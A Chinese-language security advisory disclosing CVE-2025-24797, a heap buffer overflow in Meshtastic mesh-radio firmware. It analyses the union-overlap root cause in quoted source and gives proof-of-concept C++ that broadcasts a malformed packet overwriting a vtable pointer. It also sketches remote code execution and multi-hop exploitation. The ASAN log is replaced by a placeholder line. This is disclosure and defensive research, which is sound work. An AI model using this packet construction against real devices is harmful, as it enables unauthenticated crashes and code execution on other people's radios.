
Meshtastic buffer overflow vulnerability - CVE-2025-24797
在处理包含无效 protobuf 数据的 mesh 数据包时存在一个缺陷,可能导致攻击者控制的缓冲区溢出,从而允许攻击者劫持执行流,最终可能实现远程代码执行。 此攻击无需身份验证或用户交互,只要目标设备在默认信道上重播数据包即可。
该漏洞最初通过模糊测试发现,导致以下 ASAN 中止:
(日志内容保持不变,不翻译)
损坏发生在数据包发送期间执行 memcpy 操作时,将加密字节复制到 radioBuffer 中。字段 p->encrypted.size 的值大于 radioBuffer.payload(240 字节)的大小。
// src/mesh/RadioInterface.cpp
size_t RadioInterface::beginSending(meshtastic_MeshPacket *p)
{
// ...
memcpy(radioBuffer.payload, p->encrypted.bytes, p->encrypted.size);
// ...
}
无效大小的根本原因是在解码数据包时存在一个逻辑错误。解密后的数据包数据通过 pb_decode_from_bytes 解码,目的地是接收到的数据包结构体 p。
// src/mesh/Router.cpp
bool perhapsDecode(meshtastic_MeshPacket *p)
{
// ...
// 尝试解密数据包(如果可以的话)
crypto->decrypt(p->from, p->id, rawSize, bytes);
// printBytes("plaintext", bytes, p->encrypted.size);
// 将这些原始字节转换回我们可以理解的结构化 protobuf
memset(&p->decoded, 0, sizeof(p->decoded));
if (!pb_decode_from_bytes(bytes, rawSize, &meshtastic_Data_msg, &p->decoded)) {
LOG_ERROR("Invalid protobufs in received mesh packet id=0x%08x (bad psk?)!", p->id);
} else if (p->decoded.portnum == meshtastic_PortNum_UNKNOWN_APP) {
LOG_ERROR("Invalid portnum (bad psk?)!");
} else {
decrypted = true;
break;
}
// ...
}
如果解码成功,decrypted 被设为 true,并且 which_payload_variant 被正确更新为 meshtastic_MeshPacket_decoded_tag。
// src/mesh/Router.cpp
bool perhapsDecode(meshtastic_MeshPacket *p)
{
// ...
if (decrypted) {
// 解析成功
p->which_payload_variant = meshtastic_MeshPacket_decoded_tag; // 将类型改为 decoded
// ...
然而,如果解码失败,which_payload_variant 不会被更新。由于 p->encrypted 和 p->decoded 是通过联合体实现的,它们的内存区域重叠,因此 p->encrypted 中的数据已被 pb_decode_from_bytes 解码的部分数据破坏,不再安全使用。
因为节点默认会重播接收到的数据包,受损的数据包被安排发送。在 RadioInterface::beginSending 中,代码正确断言数据包是加密格式,并假设可以安全访问 p->encrypted,导致损坏的大小被传递给 memcpy,可能溢出缓冲区。
以下示例代码展示了如何发送一条触发该漏洞的恶意消息。
uint32_t from = 2;
uint32_t id = 2;
meshtastic_Data d = meshtastic_Data_init_default;
// 我们可以通过设置 portnum 来选择 memcpy 大小,因为它与 encrypted->size 字段重叠
uint16_t memcpy_size = sizeof(meshtastic_Data);
d.portnum = static_cast<meshtastic_PortNum>(memcpy_size);
// 这是在 radioBuffer 之外写入的数据
d.dest = 0xAAAAAAAA;
// 覆盖虚函数表指针
d.source = 0xBBBBBBBB;
d.request_id = 0xCCCCCCCC;
d.reply_id = 0xDDDDDDDD;
d.emoji = 0xEEEEEEEE;
d.has_bitfield = false;
byte internal_data[256] = {};
size_t internal_size = pb_encode_to_bytes(internal_data, sizeof(internal_data), &meshtastic_Data_msg, &d);
// 添加一个额外的字节导致反序列化失败
assert(internal_size < sizeof(internal_data));
internal_data[internal_size] = 0xFF;
internal_size += 1;
channels.setActiveByIndex(0);
crypto->encryptPacket(from, id, internal_size, internal_data);
meshtastic_MeshPacket p = meshtastic_MeshPacket_init_default;
p.from = from;
p.to = 4294967295; // 广播
p.id = id;
p.channel = 0x8;
p.hop_limit = 3;
p.hop_start = 3;
p.which_payload_variant = meshtastic_MeshPacket_encrypted_tag;
p.encrypted.size = internal_size;
memcpy(p.encrypted.bytes, internal_data, sizeof(p.encrypted.bytes));
meshtastic_MeshPacket *allocPacket = packetPool.allocCopy(p);
rIf->send(allocPacket);
以下是接收节点在尝试加载我们覆盖的虚函数表指针时崩溃的画面:

攻击者可以控制缓冲区的大小和内容,因为写入的数据基于正在被解码的加密数据包。通过修改 memcpy 的大小,攻击者可以破坏堆数据结构,导致拒绝服务。
攻击者还可以控制溢出区域的有限部分,因为 meshtastic_Packet 结构体大于目标 RadioBuffer。在 radioBuffer 之后依次有三个结构体字段:int8_t power; float savedFreq; uint32_t savedChannelNum。这些字段在操作期间不会被使用,因此可以安全覆盖。在这些字段之后,是 concurrency::NotifiedWorkerThread 的虚函数表指针。通过覆盖此指针,攻击者可以在下次线程运行时任意重定向执行流,从而可能实现远程代码执行。
我们估计,在没有 ASLR 或内存执行保护的嵌入式系统上,实现 RCE 漏洞利用相当简单,因为攻击者可以直接在数据包中包含 shellcode。如果启用了内存执行保护,攻击者可能通过调用固件中的现有方法来实现 RCE 或其他破坏性行为。若存在 ASLR,我们假设需要另一个漏洞来泄露地址。
即使节点相隔多跳,此漏洞也可以被利用。由于数据包会被重播,攻击者可以嵌套多个阶段的畸形加密数据,其中初始阶段用有效值覆盖大小字段。数据将在每一跳被解包,直到最终覆盖被触发。